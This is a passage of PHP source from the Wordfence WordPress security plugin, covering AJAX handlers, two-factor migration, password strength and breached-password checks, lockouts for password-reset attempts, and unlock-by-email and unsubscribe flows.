'wordfence::actionPasswordReset'); $adminUsers = new wfAdminUserMonitor(); if ($adminUsers->isEnabled()) { add_action('set_user_role', array($adminUsers, 'updateToUserRole'), 10, 3); add_action('grant_super_admin', array($adminUsers, 'grantSuperAdmin'), 10, 1); add_action('revoke_super_admin', array($adminUsers, 'revokeSuperAdmin'), 10, 1); } else if (wfConfig::get_ser('adminUserList', false)) { // reset this in the event it's disabled or the network is too large wfConfig::set_ser('adminUserList', false); } if (wfConfig::liveTrafficEnabled()) { add_action('wp_head', 'wordfence::wfLogHumanHeader'); add_action('login_head', 'wordfence::wfLogHumanHeader'); } add_action('wordfence_processAttackData', 'wordfence::processAttackData'); if (!empty($_GET['wordfence_syncAttackData']) && get_site_option('wordfence_syncingAttackData') <= time() - 60 && get_site_option('wordfence_lastSyncAttackData', 0) < time() - 8) { @ignore_user_abort(true); update_site_option('wordfence_syncingAttackData', time()); header('Content-Type: text/javascript'); define('WORDFENCE_SYNCING_ATTACK_DATA', true); add_action('init', 'wordfence::syncAttackData', 10, 0); add_filter('woocommerce_unforce_ssl_checkout', '__return_false'); } add_action('wordfence_batchReportBlockedAttempts', 'wordfence::wfsnBatchReportBlockedAttempts'); add_action('wordfence_batchReportFailedAttempts', 'wordfence::wfsnBatchReportFailedAttempts'); add_action('wordfence_batchSendSecurityEvents', 'wfCentral::sendPendingSecurityEvents'); add_action('wordfence_batchSendAuditEvents', 'wfAuditLog::sendPendingAuditEvents'); if (wfConfig::get('other_hideWPVersion')) { add_filter('update_feedback', 'wordfence::restoreReadmeForUpgrade'); } add_action('rest_api_init', 'wordfence::initRestAPI'); if (wfCentral::isConnected()) { add_action('wordfence_security_event', 'wfCentral::sendSecurityEvent', 10, 3); } else { add_action('wordfence_security_event', 'wfCentral::sendAlertCallback', 10, 3); } if (!wfConfig::get('wordfenceI18n', true)) { add_filter('gettext', function ($translation, $text, $domain) { if ($domain === 'wordfence') { return $text; } return $translation; }, 10, 3); } wfScanMonitor::registerActions(); wfUpdateCheck::installPluginAPIFixer(); wfAuditLog::shared()->registerHooks(); } public static function registerDeactivationPrompt() { $deleteMain = (bool) wfConfig::get('deleteTablesOnDeact'); $deleteLoginSecurity = (bool) \WordfenceLS\Controller_Settings::shared()->get('delete-deactivation'); echo wfView::create( 'offboarding/deactivation-prompt', array( 'deactivationOption' => wfDeactivationOption::forState($deleteMain, $deleteLoginSecurity), 'wafOptimized' => defined('WFWAF_AUTO_PREPEND') && WFWAF_AUTO_PREPEND && (!defined('WFWAF_SUBDIRECTORY_INSTALL') || !WFWAF_SUBDIRECTORY_INSTALL), 'deactivate' => array_key_exists('wf_deactivate', $_GET) ) )->render(); } public static function showDisabledApplicationPasswordsMessage() { echo wfView::create('user/disabled-application-passwords', array('isAdmin' => self::isCurrentUserAdmin()))->render(); } public static function _pluginPageActionLinks($links) { if (!wfConfig::get('isPaid')) { $links = array_merge(array('aWordfencePluginCallout' => '' . esc_html__('Upgrade To Premium', 'wordfence') . ' (' . esc_html__('opens in new tab', 'wordfence') . ')'), $links); } return $links; } public static function _outputLoginSecurityTour() { if (WORDFENCE_LS_FROM_CORE) { echo wfView::create('tours/login-security', array())->render(); } } public static function fixWPMailFromAddress($from_email) { if ($from_email == 'wordpress@') { //$_SERVER['SERVER_NAME'] is undefined so we get an incomplete email address wordfence::status(4, 'info', __("wp_mail from address is incomplete, attempting to fix", 'wordfence')); $urls = array(get_site_url(), get_home_url()); foreach ($urls as $u) { if (!empty($u)) { $u = preg_replace('#^[^/]*//+([^/]+).*$#', '\1', $u); if (substr($u, 0, 4) == 'www.') { $u = substr($u, 4); } if (!empty($u)) { wordfence::status(4, 'info', sprintf(/* translators: Email address. */ __("Fixing wp_mail from address: %s", 'wordfence'), $from_email . $u)); return $from_email . $u; } } } //Can't fix it, return it as it was } return $from_email; } public static function wpRedirectFilter($location, $status) { self::getLog()->initLogRequest(); self::getLog()->getCurrentRequest()->statusCode = $status; return $location; } public static function wpRedirectStatusFilter($status, $location) { self::getLog()->initLogRequest(); self::getLog()->getCurrentRequest()->statusCode = $status; self::getLog()->logHit(); return $status; } public static function enqueueAJAXWatcher() { $wafDisabled = !WFWAF_ENABLED || (class_exists('wfWAFConfig') && wfWAFConfig::isDisabled()); if (wfUtils::isAdmin() && !$wafDisabled) { wp_enqueue_style('wordfenceAJAXcss', wfUtils::getBaseURL() . wfUtils::versionedAsset('css/wordfenceBox.css'), '', WORDFENCE_VERSION); wp_enqueue_script('wfi18njs', wfUtils::getBaseURL() . wfUtils::versionedAsset('js/wfi18n.js'), array(), WORDFENCE_VERSION); wp_enqueue_script('wordfenceAJAXjs', wfUtils::getBaseURL() . wfUtils::versionedAsset('js/admin.ajaxWatcher.js'), array('jquery'), WORDFENCE_VERSION); wp_localize_script('wordfenceAJAXjs', 'WFAJAXWatcherVars', array( 'nonce' => wp_create_nonce('wf-waf-error-page'), )); self::setupI18nJSStrings(); } } private static function isWordfencePage($includeWfls = true) { return (isset($_GET['page']) && (preg_match('/^Wordfence/', @$_GET['page']) || ($includeWfls && $_GET['page'] == 'WFLS' && wfOnboardingController::shouldShowNewTour(wfOnboardingController::TOUR_LOGIN_SECURITY)))); } private static function isWordfenceSubpage($page, $subpage) { return array_key_exists('page', $_GET) && $_GET['page'] == ('Wordfence' . ucfirst($page)) && array_key_exists('subpage', $_GET) && $_GET['subpage'] == $subpage; } public static function enqueueDashboard() { if (wfUtils::isAdmin()) { wp_enqueue_style('wf-adminbar', wfUtils::getBaseURL() . wfUtils::versionedAsset('css/wf-adminbar.css'), '', WORDFENCE_VERSION); wp_enqueue_style('wordfence-license-global-style', wfLicense::current()->getGlobalStylesheet(), '', WORDFENCE_VERSION); wp_enqueue_script('wordfenceDashboardjs', wfUtils::getBaseURL() . wfUtils::versionedAsset('js/wfdashboard.js'), array('jquery'), WORDFENCE_VERSION); if (wfConfig::get('showAdminBarMenu')) { wp_enqueue_script('wordfencePopoverjs', wfUtils::getBaseURL() . wfUtils::versionedAsset('js/wfpopover.js'), array('jquery'), WORDFENCE_VERSION); wp_localize_script('wordfenceDashboardjs', 'WFDashVars', array( 'ajaxURL' => admin_url('admin-ajax.php'), 'nonce' => wp_create_nonce('wp-ajax'), )); } } } public static function ajax_testAjax_callback(){ die("WFSCANTESTOK"); } public static function ajax_doScan_callback(){ @ignore_user_abort(true); self::$wordfence_wp_version = false; if (!defined('DONOTCACHEDB')) { define('DONOTCACHEDB', true); } //This is messy, but not sure of a better way to do this without guaranteeing we get $wp_version require(ABSPATH . 'wp-includes/version.php'); /** @var string $wp_version */ self::$wordfence_wp_version = $wp_version; require_once(dirname(__FILE__) . '/wfScan.php'); wfScan::wfScanMain(); } //END doScan public static function ajax_lh_callback(){ self::getLog()->canLogHit = false; $UA = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''; $isCrawler = empty($UA); if ($UA) { if (wfCrawl::isCrawler($UA) || wfCrawl::isGoogleCrawler()) { $isCrawler = true; } } @ob_end_clean(); if(! headers_sent()){ header('Content-type: text/javascript'); header("Connection: close"); header("Content-Length: 0"); header("X-Robots-Tag: noindex"); if (!$isCrawler) { wfLog::cacheHumanRequester(wfUtils::getIP(), $UA); } } flush(); if (!$isCrawler && array_key_exists('hid', $_GET)) { $hid = $_GET['hid']; $hid = wfUtils::decrypt($hid); if (!is_string($hid) || !preg_match('/^\d+$/', $hid)) { exit(); } $db = new wfDB(); $table_wfHits = wfDB::networkTable('wfHits'); $db->queryWrite("update {$table_wfHits} set jsRun=1 where id=%d", $hid); } die(""); } public static function ajaxReceiver(){ if(! wfUtils::isAdmin()){ wfUtils::send_json(array('errorMsg' => __("You appear to have logged out or you are not an admin. Please sign-out and sign-in again.", 'wordfence'))); } $func = (isset($_POST['action']) && $_POST['action']) ? $_POST['action'] : $_GET['action']; $nonce = (isset($_POST['nonce']) && $_POST['nonce']) ? $_POST['nonce'] : $_GET['nonce']; if(! wp_verify_nonce($nonce, 'wp-ajax')){ wfUtils::send_json(array('errorMsg' => __("Your browser sent an invalid security token to Wordfence. Please try reloading this page or signing out and in again.", 'wordfence'), 'tokenInvalid' => 1)); } //func is e.g. wordfence_ticker so need to munge it $func = str_replace('wordfence_', '', $func); $returnArr = call_user_func('wordfence::ajax_' . $func . '_callback'); if($returnArr === false){ $returnArr = array('errorMsg' => __("Wordfence encountered an internal error executing that request.", 'wordfence')); } if(! is_array($returnArr)){ error_log("Function " . wp_kses($func, array()) . " did not return an array and did not generate an error."); $returnArr = array(); } if(isset($returnArr['nonce'])){ error_log("Wordfence ajax function return an array with 'nonce' already set. This could be a bug."); } $returnArr['nonce'] = wp_create_nonce('wp-ajax'); wfUtils::send_json($returnArr); } public static function ajax_remoteVerifySwitchTo2FANew_callback() { $payload = wfUtils::decodeJWT(wfConfig::get('new2FAMigrationNonce')); if (empty($payload)) { wfUtils::send_json(new stdClass()); //Ensures an object response } $package = wfCrypt::noc1_encrypt($payload); wfUtils::send_json($package); } public static function ajax_switchTo2FANew_callback() { $migrate = (isset($_POST['migrate']) && wfUtils::truthyToBoolean($_POST['migrate'])); $twoFactorUsers = wfConfig::get_ser('twoFactorUsers', array()); if ($migrate && is_array($twoFactorUsers) && !empty($twoFactorUsers)) { $smsActive = array(); $authenticatorActive = array(); foreach ($twoFactorUsers as &$t) { if ($t[3] == 'activated') { $user = new WP_User($t[0]); if ($user instanceof WP_User && $user->exists()) { if ((!isset($t[5]) || $t[5] != 'authenticator')) { $smsActive[] = $user->user_login; } else { $authenticatorActive[] = $t[6]; } } } } if (!empty($smsActive)) { return array('ok' => 0, 'smsActive' => $smsActive); } $total = 0; $imported = 0; $nonce = bin2hex(wfWAFUtils::random_bytes(32)); wfConfig::set('new2FAMigrationNonce', wfUtils::generateJWT(array('nonce' => $nonce), 90)); $api = new wfAPI(wfConfig::get('apiKey'), wfUtils::getWPVersion()); try { $response = $api->call('twoFactorTOTP_migrate', array(), array('migrateids' => json_encode($authenticatorActive), 'nonce' => $nonce, 'verifyurl' => add_query_arg(array('action' => 'wordfence_remoteVerifySwitchTo2FANew'), admin_url('admin-ajax.php')))); /* * A successful response will be in the format * { * "ok": 1, * "records": { * "skipped": { * : true, ... if applicable * }, * "totp": { * : { * "secret": , * "recovery": , * "ctime": , * "vtime": * }, * ... * } * } * } */ if (!is_array($response) || !isset($response['records']) || !is_array($response['records'])) { return array('ok' => 0, 'fail' => 1); } $secrets = $response['records']; if (!isset($secrets['totp']) || !is_array($secrets['totp'])) { return array('ok' => 0, 'fail' => 2); } $import = array(); foreach ($twoFactorUsers as &$t) { if ($t[3] == 'activated') { $user = new WP_User($t[0]); if ($user instanceof WP_User && $user->exists()) { if ((!isset($t[5]) || $t[5] != 'authenticator')) { //Do nothing } else { if (isset($secrets['totp'][$t[6]])) { $import[$user->ID] = $secrets['totp'][$t[6]]; $import[$user->ID]['type'] = 'authenticator'; $total++; } } } } } $imported = WFLSPHP52Compatability::import_2fa($import); } catch (Exception $e) { wordfence::status(4, 'error', sprintf(/* translators: Error message. */ __('2FA Migration Error: %s', 'wordfence'), $e->getMessage())); return array('ok' => 0, 'fail' => 1); } wfConfig::remove('new2FAMigrationNonce'); wfConfig::set(wfCredentialsController::DISABLE_LEGACY_2FA_OPTION, true); return array('ok' => 1, 'total' => $total, 'imported' => $imported); } //No legacy 2FA active, just set the option. wfConfig::set(wfCredentialsController::DISABLE_LEGACY_2FA_OPTION, true); return array('ok' => 1); } public static function ajax_switchTo2FAOld_callback() { wfConfig::set(wfCredentialsController::DISABLE_LEGACY_2FA_OPTION, false); return array('ok' => 1); } public static function validateProfileUpdate($errors, $update, $userData){ wordfence::validatePassword($errors, $userData); } public static function validatePassword($errors, $userData) { $password = (isset($_POST['pass1']) && trim($_POST['pass1'])) ? $_POST['pass1'] : false; $user_id = isset($userData->ID) ? $userData->ID : false; $username = isset($_POST["user_login"]) ? $_POST["user_login"] : $userData->user_login; if ($password == false) { return $errors; } if ($errors->get_error_data("pass")) { return $errors; } $enforceStrongPasswds = false; if (wfConfig::get('loginSec_strongPasswds_enabled')) { if (wfConfig::get('loginSec_strongPasswds') == 'pubs') { if (user_can($user_id, 'publish_posts')) { $enforceStrongPasswds = true; } } else if (wfConfig::get('loginSec_strongPasswds') == 'all') { $enforceStrongPasswds = true; } } if ($enforceStrongPasswds && !wordfence::isStrongPasswd($password, $username)) { $errors->add('pass', __('ERROR: The password could not be changed. Please choose a stronger password and try again. A strong password will follow these guidelines:
  • At least 12 characters
  • Uppercase and lowercase letters
  • At least one symbol
  • At least one number
  • Avoid common words or sequences of letters/numbers
', 'wordfence')); return $errors; } $twoFactorUsers = wfConfig::get_ser('twoFactorUsers', array()); if (preg_match(self::$passwordCodePattern, $password) && is_array($twoFactorUsers) && count($twoFactorUsers) > 0) { $errors->add('pass', __('Passwords containing a space followed by "wf" without quotes are not allowed.', 'wordfence')); return $errors; } $enforceBreachedPasswds = false; if (wfConfig::get('loginSec_breachPasswds_enabled')) { if ($user_id !== false && wfConfig::get('loginSec_breachPasswds') == 'admins' && wfUtils::isAdmin($user_id)) { $enforceBreachedPasswds = true; } else if ($user_id !== false && wfConfig::get('loginSec_breachPasswds') == 'pubs' && user_can($user_id, 'publish_posts')) { $enforceBreachedPasswds = true; } } if ($enforceBreachedPasswds && wfCredentialsController::isLeakedPassword($username, $password)) { $errors->add('pass', sprintf(/* translators: Support URL. */ __('Please choose a different password. The password you are using exists on lists of passwords leaked in data breaches. Attackers use such lists to break into sites and install malicious code. Learn More', 'wordfence'), wfSupportController::esc_supportURL(wfSupportController::ITEM_USING_BREACH_PASSWORD))); return $errors; } else if ($user_id !== false) { wfAdminNoticeQueue::removeAdminNotice(false, '2faBreachPassword', array($user_id)); wfAdminNoticeQueue::removeAdminNotice(false, 'previousIPBreachPassword', array($user_id)); wfCredentialsController::clearCachedCredentialStatus($userData); } return $errors; } public static function isStrongPasswd($passwd, $username ) { $passwd = trim($passwd); $lowerPasswd = strtolower($passwd); $passwdLength = strlen($lowerPasswd); if ($passwdLength < 12) return false; if ($lowerPasswd == strtolower( $username ) ) return false; if (preg_match('/(?:password|passwd|mypass|wordpress)/i', $passwd)) return false; if (preg_match('/(.)\1{2,}/', $lowerPasswd)) //Disallow any character repeated 3 or more times return false; /* * Check for ordered sequences of at least 4 characters for alphabetic sequences and 3 characters for other sequences, ignoring case * Examples: * - 321 * - abcd * - abab */ $last = null; $sequenceLength = 1; $alphabetic = true; for ($i = 0; $i < $passwdLength; $i++) { $current = ord($lowerPasswd[$i]); if ($last !== null) { if (abs($current - $last) === 1) { $alphabetic &= ctype_alpha($lowerPasswd[$i]); if (++$sequenceLength > ($alphabetic ? 3 : 2)) return false; } else { $sequenceLength = 1; $alphabetic = true; } } $last = $current; } $characterTypes = array( '/[a-z]/', '/[A-Z]/', '/[0-9]/', '/[^a-zA-Z0-9]/' ); foreach ($characterTypes as $type) { if (!preg_match($type, $passwd)) return false; } return true; } public static function lostPasswordPost($errors = null, $user = null) { $IP = wfUtils::getIP(); if ($request = self::getLog()->getCurrentRequest()) { $request->action = 'lostPassword'; $request->save(); } if (wfBlock::isWhitelisted($IP)) { return; } $lockout = wfBlock::lockoutForIP(wfUtils::getIP()); if ($lockout !== false) { $lockout->recordBlock(); $customText = wpautop(wp_strip_all_tags(wfConfig::get('blockCustomText', ''))); require(dirname(__FILE__) . '/wfLockedOut.php'); } if ($user === null) { if (empty($_POST['user_login'])) { return; } $user_login = $_POST['user_login']; if (is_array($user_login)) { $user_login = wfUtils::array_first($user_login); } $user_login = trim($user_login); $user = get_user_by('login', $user_login); if (!$user) { $user = get_user_by('email', $user_login); } } if ($user === false && wfConfig::get('loginSec_maskLoginErrors')) { if (self::hasWoocommerce() && isset($_POST['wc_reset_password'], $_POST['user_login'])) { $redirectUrl = add_query_arg('reset-link-sent', 'true', wc_get_account_endpoint_url('lost-password')); } else { $redirectUrl = !empty($_REQUEST['redirect_to']) ? $_REQUEST['redirect_to'] : 'wp-login.php?checkemail=confirm'; } wp_safe_redirect($redirectUrl); exit; } if($user){ $alertCallback = array(new wfLostPasswdFormAlert($user, wfUtils::getIP()), 'send'); do_action('wordfence_security_event', 'lostPasswdForm', array( 'email' => $user->user_email, 'ip' => wfUtils::getIP(), ), $alertCallback); } // do not count password reset attempts if there is a user logged in with the edit_users capability // because they're probably using the "send password reset" feature in the WP admin and therefore we shouldn't // be locking them out! if(wfConfig::get('loginSecurityEnabled') && !current_user_can( 'edit_users' ) ){ $tKey = self::getForgotPasswordFailureCountTransient($IP); $forgotAttempts = get_transient($tKey); if($forgotAttempts){ $forgotAttempts++; } else { $forgotAttempts = 1; } if($forgotAttempts >= wfConfig::get('loginSec_maxForgotPasswd')){ self::lockOutIP($IP, sprintf( /* translators: 1. Password reset limit (number). 2. WordPress username. */ __('Exceeded the maximum number of tries to recover their password which is set at: %1$s. The last username or email they entered before getting locked out was: \'%2$s\'', 'wordfence'), wfConfig::get('loginSec_maxForgotPasswd'), $_POST['user_login'] )); $customText = wpautop(wp_strip_all_tags(wfConfig::get('blockCustomText', ''))); require(dirname(__FILE__) . '/wfLockedOut.php'); } set_transient($tKey, $forgotAttempts, wfConfig::get('loginSec_countFailMins') * 60); } } public static function lockOutIP($IP, $reason) { wfBlock::createLockout($reason, $IP, wfBlock::lockoutDuration(), time(), time(), 1); self::getLog()->tagRequestForLockout($reason); $alertCallback = array(new wfLoginLockoutAlert($IP, $reason), 'send'); do_action('wordfence_security_event', 'loginLockout', array( 'ip' => $IP, 'reason' => $reason, 'duration' => wfBlock::lockoutDuration(), ), $alertCallback); } public static function getLoginFailureCountTransient($IP) { return 'wflginfl_' . bin2hex(wfUtils::inet_pton($IP)); } public static function getForgotPasswordFailureCountTransient($IP) { return 'wffgt_' . bin2hex(wfUtils::inet_pton($IP)); } public static function clearLockoutCounters($IP) { delete_transient(self::getLoginFailureCountTransient($IP)); delete_transient(self::getForgotPasswordFailureCountTransient($IP)); } public static function veryFirstAction() { /** @var wpdb $wpdb ; */ global $wpdb; self::initProtection(); $wfFunc = isset($_GET['_wfsf']) ? @$_GET['_wfsf'] : false; if ($wfFunc == 'unlockEmail') { $nonceValid = false; if (isset($_POST['nonce']) && is_string($_POST['nonce'])) { $nonceValid = wp_verify_nonce($_POST['nonce'], 'wf-form'); if (!$nonceValid && method_exists(wfWAF::getInstance(), 'createNonce')) { $nonceValid = wfWAF::getInstance()->verifyNonce($_POST['nonce'], 'wf-form'); } } if(!$nonceValid){ die(__("Sorry but your browser sent an invalid security token when trying to use this form.", 'wordfence')); } $numTries = get_transient('wordfenceUnlockTries'); if($numTries > 10){ printf("

%s

%s

", esc_html__('Please wait 3 minutes and try again', 'wordfence'), esc_html__('You have used this form too much. Please wait 3 minutes and try again.', 'wordfence') ); exit(); } if(! $numTries){ $numTries = 1; } else { $numTries = $numTries + 1; } set_transient('wordfenceUnlockTries', $numTries, 180); $email = trim(@$_POST['email']); global $wpdb; $ws = $wpdb->get_results($wpdb->prepare("SELECT ID, user_login FROM $wpdb->users WHERE user_email = %s", $email)); $found = false; foreach($ws as $user){ $userDat = get_userdata($user->ID); if(wfUtils::isAdmin($userDat)){ if($email == $userDat->user_email){ $found = true; break; } } } if(! $found){ foreach(wfConfig::getAlertEmails() as $alertEmail){ if($alertEmail == $email){ $found = true; break; } } } if($found){ $key = wfUtils::bigRandomHex(); $IP = wfUtils::getIP(); set_transient('wfunlock_' . $key, $IP, 1800); $content = wfUtils::tmpl('email_unlockRequest.php', array( 'siteName' => get_bloginfo('name', 'raw'), 'siteURL' => wfUtils::getSiteBaseURL(), 'unlockHref' => wfUtils::getSiteBaseURL() . '?_wfsf=unlockAccess&key=' . $key, 'key' => $key, 'IP' => $IP )); wp_mail($email, __("Unlock email requested", 'wordfence'), $content, "Content-Type: text/html"); } echo "

" . esc_html__('Your request was received', 'wordfence') . "

" . esc_html(sprintf(/* translators: Email address. */ __("We received a request to email \"%s\" instructions to unlock their access. If that is the email address of a site administrator or someone on the Wordfence alert list, they have been emailed instructions on how to regain access to this system. The instructions we sent will expire 30 minutes from now.", 'wordfence'), wp_kses($email, array()))) . "

"; exit(); } else if($wfFunc == 'unlockAccess'){ if (!preg_match('/^(?:(?:(?:(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){7})|(?:(?!(?:.*[a-f0-9](?::|$)){7,})(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){0,5})?::(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){0,5})?)))|(?:(?:(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){5}:)|(?:(?!(?:.*[a-f0-9]:){5,})(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){0,3})?::(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){0,3}:)?))?(?:(?:25[0-5])|(?:2[0-4][0-9])|(?:1[0-9]{2})|(?:[1-9]?[0-9]))(?:\.(?:(?:25[0-5])|(?:2[0-4][0-9])|(?:1[0-9]{2})|(?:[1-9]?[0-9]))){3}))$/i', get_transient('wfunlock_' . $_GET['key']))) { _e("Invalid key provided for authentication.", 'wordfence'); exit(); } if($_GET['func'] == 'unlockMyIP'){ wfBlock::unblockIP(wfUtils::getIP()); if (class_exists('wfWAFIPBlocksController')) { wfWAFIPBlocksController::setNeedsSynchronizeConfigSettings(); } self::clearLockoutCounters(wfUtils::getIP()); header('Location: ' . wp_login_url()); exit(); } else if($_GET['func'] == 'unlockAllIPs'){ wordfence::status(1, 'info', __("Request received via unlock email link to unblock all IPs.", 'wordfence')); wfBlock::removeAllIPBlocks(); if (class_exists('wfWAFIPBlocksController')) { wfWAFIPBlocksController::setNeedsSynchronizeConfigSettings(); } self::clearLockoutCounters(wfUtils::getIP()); header('Location: ' . wp_login_url()); exit(); } else if($_GET['func'] == 'disableRules'){ wfConfig::set('firewallEnabled', 0); wfConfig::set('loginSecurityEnabled', 0); wordfence::status(1, 'info', __("Request received via unlock email link to unblock all IPs via disabling firewall rules.", 'wordfence')); wfBlock::removeAllIPBlocks(); wfBlock::removeAllCountryBlocks(); if (class_exists('wfWAFIPBlocksController')) { wfWAFIPBlocksController::setNeedsSynchronizeConfigSettings(); } self::clearLockoutCounters(wfUtils::getIP()); header('Location: ' . wp_login_url()); exit(); } else { _e("Invalid function specified. Please check the link we emailed you and make sure it was not cut-off by your email reader.", 'wordfence'); exit(); } } else if ($wfFunc == 'detectProxy') { wfUtils::doNotCache(); if (wfUtils::processDetectProxyCallback()) { self::getLog()->getCurrentRequest()->action = 'scan:detectproxy'; //Exempt a valid callback from live traffic echo wfConfig::get('detectProxyRecommendation', '-'); } else { echo '0'; } exit(); } else if ($wfFunc == 'removeAlertEmail') { wfUtils::doNotCache(); $payloadStatus = false; $jwt = (isset($_GET['jwt']) && is_string($_GET['jwt'])) ? $_GET['jwt'] : ''; if (!empty($jwt)) { $payload = wfUtils::decodeJWT($jwt); if ($payload && isset($payload['email'])) { $payloadStatus = true; } } if (isset($_POST['resend'])) { $email = trim(@$_POST['email']); $found = false; $alertEmails = wfConfig::getAlertEmails(); foreach ($alertEmails as $e) { if ($e == $email) { $found = true; break; } } if ($found) { $content = wfUtils::tmpl('email_unsubscribeRequest.php', array( 'siteName' => get_bloginfo('name', 'raw'), 'siteURL' => wfUtils::getSiteBaseURL(), 'IP' => wfUtils::getIP(), 'jwt' => wfUtils::generateJWT(array('email' => $email)), )); wp_mail($email, __("Unsubscribe Requested", 'wordfence'), $content, "Content-Type: text/html"); } echo wfView::create('common/unsubscribe', array( 'state' => 'resent', ))->render(); exit(); } else if (!$payloadStatus) { echo wfView::create('common/unsubscribe', array( 'state' => 'bad', ))->render(); exit(); } else if (isset($_POST['confirm'])) { $confirm = wfUtils::truthyToBoolean($_POST['confirm']); if ($confirm) { $found = false; $alertEmails = wfConfig::getAlertEmails(); $updatedAlertEmails = array(); foreach ($alertEmails as $alertEmail) { if ($alertEmail == $payload['email']) { $found = true; } else { $updatedAlertEmails[] = $alertEmail; } } if ($found) { wfConfig::set('alertEmails', implode(',', $updatedAlertEmails)); } echo wfView::create('common/unsubscribe', array( 'jwt' => $_GET['jwt'], 'email' => $payload['email'], 'state' => 'unsubscribed', ))->render(); exit(); } } echo wfView::create('common/unsubscribe', array( 'jwt' => $_GET['jwt'], 'email' => $payload['email'], 'state' => 'prompt', ))->render(); exit(); } else if ($wfFunc == 'installLicense') { if (wfUtils::isAdmin()) { wfUtils::doNotCache(); if (isset($_POST['license'])) { $nonceValid = wp_verify_nonce(@$_POST['nonce'], 'wf-form'); if (!$nonceValid) { die(__('Sorry but your browser sent an invalid security token when trying to use this form.', 'wordfence')); } $changes = array('apiKey' => $_POST['license']); $errors = wfConfig::validate($changes); if ($errors !== true) { $error = __('An error occurred while saving the license.', 'wordfence'); if (count($errors) == 1) { $error = sprintf(/* translators: Error message. */ __('An error occurred while saving the license: %s', 'wordfence'), $errors[0]['error']); } echo wfView::create('common/license', array( 'state' => 'bad', 'error' => $error, ))->render(); exit(); } try { wfConfig::save(wfConfig::clean($changes)); echo wfView::create('common/license', array( 'state' => 'installed', ))->render(); exit(); } catch (Exception $e) { echo wfView::create('common/license', array( 'state' => 'bad', 'error' => sprintf(/* translators: Error message. */ __('An error occurred while saving the license: %s', 'wordfence'), $e->getMessage()), ))->render(); exit(); } } echo wfView::create('common/license', array( 'state' => 'prompt', ))->render(); exit(); } } if (is_main_site() && wfUtils::isAdmin()) { if (wp_next_scheduled('wordfence_daily_cron') === false) { wp_schedule_event(time() + 600, 'daily', 'wordfence_daily_cron'); wordfence::status(2, 'info', __("Rescheduled missing daily cron", 'wordfence')); } if (wp_next_scheduled('wordfence_hourly_cron') === false) { wp_schedule_event(time() + 600, 'hourly', 'wordfence_hourly_cron'); wordfence::status(2, 'info', __("Rescheduled missing hourly cron", 'wordfence')); } } // Sync the WAF data with the database. if (!WFWAF_SUBDIRECTORY_INSTALL && $waf = wfWAF::getInstance()) { $homeurl = wfUtils::wpHomeURL(); $siteurl = wfUtils::wpSiteURL(); //Sync the GeoIP database if needed $destination = WFWAF_LOG_PATH . '/GeoLite2-Country.mmdb'; if (!file_exists($destination) || wfConfig::get('needsGeoIPSync')) { $allowSync = false; if (wfConfig::createLock('wfSyncGeoIP')) { $status = get_transient('wfSyncGeoIPActive'); if (!$status) { $allowSync = true; set_transient('wfSyncGeoIPActive', true, 3600); } wfConfig::releaseLock('wfSyncGeoIP'); } if ($allowSync) { wfUtils::requireIpLocator(); try { $wflogsLocator = wfIpLocator::getInstance(wfIpLocator::SOURCE_WFLOGS); $bundledLocator = wfIpLocator::getInstance(wfIpLocator::SOURCE_BUNDLED); if (!$wflogsLocator->isPreferred() || $wflogsLocator->getDatabaseVersion() !== $bundledLocator->getDatabaseVersion()) { $source = dirname(__FILE__) . '/GeoLite2-Country.mmdb'; if (copy($source, $destination)) { $shash = ''; $dhash = ''; $sp = @fopen($source, "rb"); if ($sp) { $scontext = hash_init('sha256'); while (!feof($sp)) { $data = fread($sp, 65536); if ($data === false) { $scontext = false; break; } hash_update($scontext, $data); } fclose($sp); if ($scontext !== false) { $shash = hash_final($scontext, false); } } $dp = @fopen($destination, "rb"); if ($dp) { $dcontext = hash_init('sha256'); while (!feof($dp)) { $data = fread($dp, 65536); if ($data === false) { $dcontext = false; break; } hash_update($dcontext, $data); } fclose($dp); if ($scontext !== false) { $dhash = hash_final($dcontext, false); } } if (hash_equals($shash, $dhash)) { wfConfig::remove('needsGeoIPSync'); delete_transient('wfSyncGeoIPActive'); } } } else { wfConfig::remove('needsGeoIPSync'); delete_transient('wfSyncGeoIPActive'); } } catch (Exception $e) { //Ignore } } } try { $sapi = @php_sapi_name(); if ($sapi != "cli") { $lastPermissionsTemplateCheck = wfConfig::getInt('lastPermissionsTemplateCheck', 0); if (defined('WFWAF_LOG_PATH') && ($lastPermissionsTemplateCheck + 43200) < time()) { //Run no more frequently than every 12 hours $timestamp = preg_replace('/[^0-9]/', '', microtime(false)); //We avoid using tmpfile since it can potentially create one with different permissions than the defaults $tmpTemplate = rtrim(WFWAF_LOG_PATH, '/') . "/template.{$timestamp}.tmp"; $template = rtrim(WFWAF_LOG_PATH, '/') . '/template.php'; @unlink($tmpTemplate); @file_put_contents($tmpTemplate, "\n"); $tmpStat = @stat($tmpTemplate); if ($tmpStat !== false) { $mode = $tmpStat[2] & 0777; $updatedMode = 0600; if (($mode & 0020) == 0020) { //Group writable $updatedMode = $updatedMode | 0060; } if (defined('WFWAF_LOG_FILE_MODE')) { $updatedMode = WFWAF_LOG_FILE_MODE; } $stat = @stat($template); if ($stat === false || ($stat[2] & 0777) != $updatedMode) { @chmod($tmpTemplate, $updatedMode); @unlink($template); @rename($tmpTemplate, $template); } @unlink($tmpTemplate); } else { @unlink($tmpTemplate); } wfConfig::set('lastPermissionsTemplateCheck', time()); @chmod(WFWAF_LOG_PATH, (wfWAFWordPress::permissions() | 0755)); wfWAFWordPress::writeHtaccess(); $contents = self::_wflogsContents(); if ($contents) { $validFiles = wfWAF::getInstance()->fileList(); foreach ($validFiles as &$vf) { $vf = basename($vf); } $validFiles = array_filter($validFiles); $previousWflogsFileList = wfConfig::getJSON('previousWflogsFileList', array()); $wflogs = realpath(WFWAF_LOG_PATH); $filesRemoved = array(); foreach ($contents as $f) { if (!in_array($f, $validFiles) && in_array($f, $previousWflogsFileList)) { $fullPath = $f; $removed = self::_recursivelyRemoveWflogs($f); $filesRemoved = array_merge($filesRemoved, $removed); } } $contents = self::_wflogsContents(); wfConfig::setJSON('previousWflogsFileList', $contents); if (!empty($filesRemoved)) { $removalHistory = wfConfig::getJSON('diagnosticsWflogsRemovalHistory', array()); $removalHistory = 